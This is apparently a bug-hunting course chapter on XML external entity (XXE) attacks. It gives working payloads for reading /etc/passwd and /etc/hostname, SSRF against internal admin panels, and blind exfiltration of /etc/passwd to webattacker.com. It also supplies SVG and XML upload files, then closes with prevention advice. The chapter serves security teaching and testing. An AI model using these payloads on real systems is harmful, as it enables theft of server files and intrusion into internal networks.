What is it
XXE = XML eXternal Entities
XML presents a useful resource for sending data from service to service and for data processing internally but with anything, as soon as user input gets involved, things get dangerous. The processing of these files comes with an inherent risk due to XML processors having external entities enabled by default. Not everyone knows about these settings which makes this a potentially dangerous thing to have. External entities can be used to grab files or even execute code. Needless to say we do not want this to happen.
XXE can occur when XML documents get parsed. We traditionally think of XXE vulnerabilities as uploading an XML file that includes an external entity, an example of this would be:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
We might be able to upload this file if we save it as .xml into an application that process XML files but what some hunters don’t know is that some other file types consist of XML files. In this course we will cover two types of XXE attacks but can you think of any more after reading this?
Types of XSS attacks
XXE can be abused to perform several types of attacks. It can even be chained into things like SSRF.
In this chapter we will mostly take a look at:
- XXE to retrieve files
- XXE to perform SSRF
- Blind XXE
- XIncludes
XXE To retrieve files
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<product>&xxe;</product>
<adress>&xxe;</adress>
In this example we first define the document type and in there we define a new Entity called “XXE”. This entity is made to execute a system call. This can be anything like ls, a reverse shell or in this case a file inclusion. It will grab the /etc/passwd file.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Next we will display that entity xxe into every possible field of our XML file. ****
Like you may have noticed from the example shown above, there are two parts two an XXE attack to retrieve files as this was an example of that. First of all we have to note the inclusion of the external entity
<!DOCTYPE fakeDocType [ <!ENTITY smbConf SYSTEM "file:///smb.conf"> ]>
And second of all we need to include this entity in one of the nodes of the document.
<lastName>&smbConf</lastName>
The attacking XML contains an external entity called smbConf which will attempt to gain a smb configuration file. As stated before, we then test every possible node for this external entity to see if we can grab the file and display it as an attacker.
XXE Into SSRF
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"http://intranet.cheeseshop.com"> ]>
In our previous example we made a SYSTEM call to include a file, in this example we make the same SYSTEM call to an HTTP endpoint of an internal webserver of which we should not see the contents from outside. To learn more about SSRF check out that chapter.
If we want to execute an SSRF attack through XXE, we need to define what URL we want the server to execute a request to like so:
<!DOCTYPE fakeDocType [ <!ENTITY adminPanel SYSTEM "http://192.168.1.12/admin/"> ]>
As we can see in the example above, the XXE processor will execute a request to a server running on the internal network that contains an admin panel that can only be accessed by the internal network. This admin panel can now be browsed by an attacker by means of SSRF. If no data is returned however, a blind SSRF might still be possible.
Blind XXE
The majority of XXE vulnerabilities in the wild will be blind XXE attacks. To detect these we can use an out of band webserver that we host ourselves and make the target do a callback to our server using the same technique we used previously in XXE into SSRF.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com">
]>
If we detect blind XXE, we can exfiltrate data via OAST
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://webattacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Our first entity will grab the data file /etc/passwd and our second entity will make a callback to our server with the contents of the /etc/passwd file in a get parameter.
Attack strategy
Our attack strategy will consist of trying to upload a file that will test for XXE on every entry point where an XML is processed. This can be in XML format bit also in SVG or DOCX/XLSX files. Our attack vectors will focus on trying to the /etc/hostname file. There are many other things we can do with XXE for example when we are testing on a windows server, we need to make sure to include a windows file instead of the /etc/hostname file.
Save the following files on your pc:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/hostname" >]>
<foo>&xxe;</foo>
For docx/xlsx payload please check out
XML External Entity Injection (XXE) in OpenCats Applicant Tracking System - Dodd Security
As you can see, we are fetching the file /ect/hostname and putting it in an “entity” with the name “xxe”:
<!ENTITY xxe SYSTEM "file:///etc/hostname" >]>
Later on we call that entity in the XML document to display it
<foo>&xxe;</foo>
<text font-size="16" x="0" y="16">&xxe;</text>
Now that we created these files, try to upload them everywhere you can such as:
- profile pictures (.svg)
- banners (.svg)
- photo albums (.svg)
- XML imports (.xml)
- DOCX/XLSX imports (.docx/.xlsx)
- SOAP requests
- …
The behaviour we are looking for is that the system will grab the /etc/hostname and will print the value in the location that we expect our process document would be.
As for Blind XXE, we need to make sure to test with an attack vector that makes a callback to our own webserver.
How to prevent XXE vulnerabilities
Prevention of XXE attacks will rely heavily on indexing and protecting all possible XML entry points and making sure they do not have external entities enabled where not needed. We need to be aware that XML is something more complex than it seems at first glance and it reaches far and wide. If possible we should opt to use a different data format such as JSON to prevent the possibility of XXEs completely.
If we do use SOAP, we need to make sure we use a version higher than 1.2 as it will be patched properly. Other XML libraries used should also be patched promptly. To aid this process there are checkers that go over the dependencies and report any outdated versions.
It goes without saying that wherever possible external entities should be disabled in the configurations where the application allows this.
In all instances where user data ends up in an XML file (this can also be done by the application merging user input with an XML file) we should implement proper data hygiene and sanitise all the incoming data. The best way to do this is by implementing a whitelisting strategy but we realise this is not always feasible as it can cause business problems to only allow certain input.
An XSD is a great technology to help us validate any incoming XML file and we should make sure every incoming file meets the requirements set forth in the XSD.
Code review can also help us detect these issues before they hit production. This can either be done manually or with the help of source code review tools though these should always be used in conjunction with manual testing and code reviews. These should pay special attention to any endpoint accepting XML input.
A last option is to install a WAF or API security firewall to increase the security of the application but these should never be used in isolation instead we should opt to use them in conjunction with the above preventive measures.
Conclusion
XXE is an often overlooked issue type due to the way developers learn about XML and how they often neglect to learn about it’s more intricate features such as external entities or Xincludes. Since these issues are easy to miss and they have such a large impact in general, it is important to pay close attention to any XML input point and to test it thoroughly.